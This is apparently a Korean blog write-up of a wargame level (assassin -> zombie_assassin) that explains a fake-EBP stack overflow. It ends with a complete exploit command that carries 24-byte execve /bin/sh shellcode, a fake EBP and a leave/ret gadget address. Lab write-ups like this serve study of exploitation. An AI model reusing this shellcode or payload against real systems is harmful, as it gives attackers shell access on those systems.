BOF redhat 원정대 assassin -> zombie_assassin
zombie_assassin, zombie_assassin.c
코드를 보면 이전 문제에서 버퍼, SFP를 초기화 하는 부분이 없어지고 strcpy에서 strncpy로 바뀌어서 SFP, RET까지만 덮을 수 있게 바뀌었다.
전 문제와 같이 RET에는 0xbf와 0x40으로 시작하는 주소로 덮을 수 없어 스택주소와 라이브버리주소를 넣을 수 없다.
주석에 FEBP라고 힌트가 있다. 이전에 풀었던 문제중에 problem_child에서 SFP를 1바이트 수정하여 문제를 푼 적이 있다. 이와 비슷하게 해결을 할 수 있다.
먼저 A를 48개 넣고 strncpy함수 실행 후 메모리를 보고 페이로드를 작성해 보자.
r `python -c 'print "A"*48'`
48바이트만큼 A가 복사된 것을 볼 수 있다. 나는 버퍼에 24바이트 크기의 쉘코드를 넣고 공격을 할 것이다.
페이로드는
[ 버퍼 ][ SFP ][RET]
[dummy][RET][쉘코드][dummy][fakeEbp][RET]
로 구성하였다.
페이로드를 입력 하게 되면 메인함수의 leave를 거치면서 fakeEbp로 ebp가 셋팅된다. 나는 fakeEbp를 A의 맨처음인 0xbffffaa0으로 잡았다. 이렇게 되면 0xbffffaa4가 RET로 된다. RET에는 바로 뒤의 쉘코드가 들어있는 주소를 넣어서 eip가 쉘코드로 이동할 수 있도록 한다.
메인함수의 leave로 스택의 ebp가 원하는 곳으로 이동한 후에는 ret이 실행되는데 이 때 ret를 leave,ret의 가젯의 주소를 넣어주어 내가 셋팅해놓은 sfp, ret가 바로 leave, ret코드를 타도록 만든다.
이 페이로드로 공격을 실행 하면
쉘을 얻을 수 있다.
쉘코드 :
./zombie_assassin "`python -c 'print "AAAA" + "\xa8\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "AAAAAAAA" +"\xa0\xfa\xff\xbf" + "\xbf\xbf\xbf\x90"'`"
Categories
- programming (17)
- security (46)
- study (22)
- system (35)
Recent 7 Days Popular Posts
-
METASPLOIT 사용법 Metasploit 은 펄스크립트를 사용하는 침투테스트도구이다 . 1. METASPLOIT 경로 metasploit 은 Kali Linux 에 기본적으로 설치되어 있다 . Kali 기준으로 경로는...
-
fedora 원정대 core 3 hell_fire -> evil_wizard evil_wizard.c hint 를 보면 GOT overwritting이 써있다. GOT overwritting 공격을 시도하여 쉘을 얻을 수 있다. ...
-
UPX packing 개발자는 파일의 크기를 줄이거나 분석하기 어렵게 하기 위해서 packer를 사용하여 응용프로그램을 packing한다. packer에는 여러 종류가 있는데 가장 기본적인 UPX 패커의 동작원리를 보면서 packer에 대해 이해해...
-
Bigbof.c source code Stack Frame Redhat 6.2 vuln : stack overflow vuln func : strcpy() 24byte shellcode exploit code : ...
-
BOF redhat 원정대 succubus -> nightmare nightmare, nightmare.c 코드를 보면 RET부분에 strcpy의 주소가 들어가야하고 strcpy함수가 끝나고 RET할 주소인 다음 4바이트를 AAAA로...



0 개의 댓글:
댓글 쓰기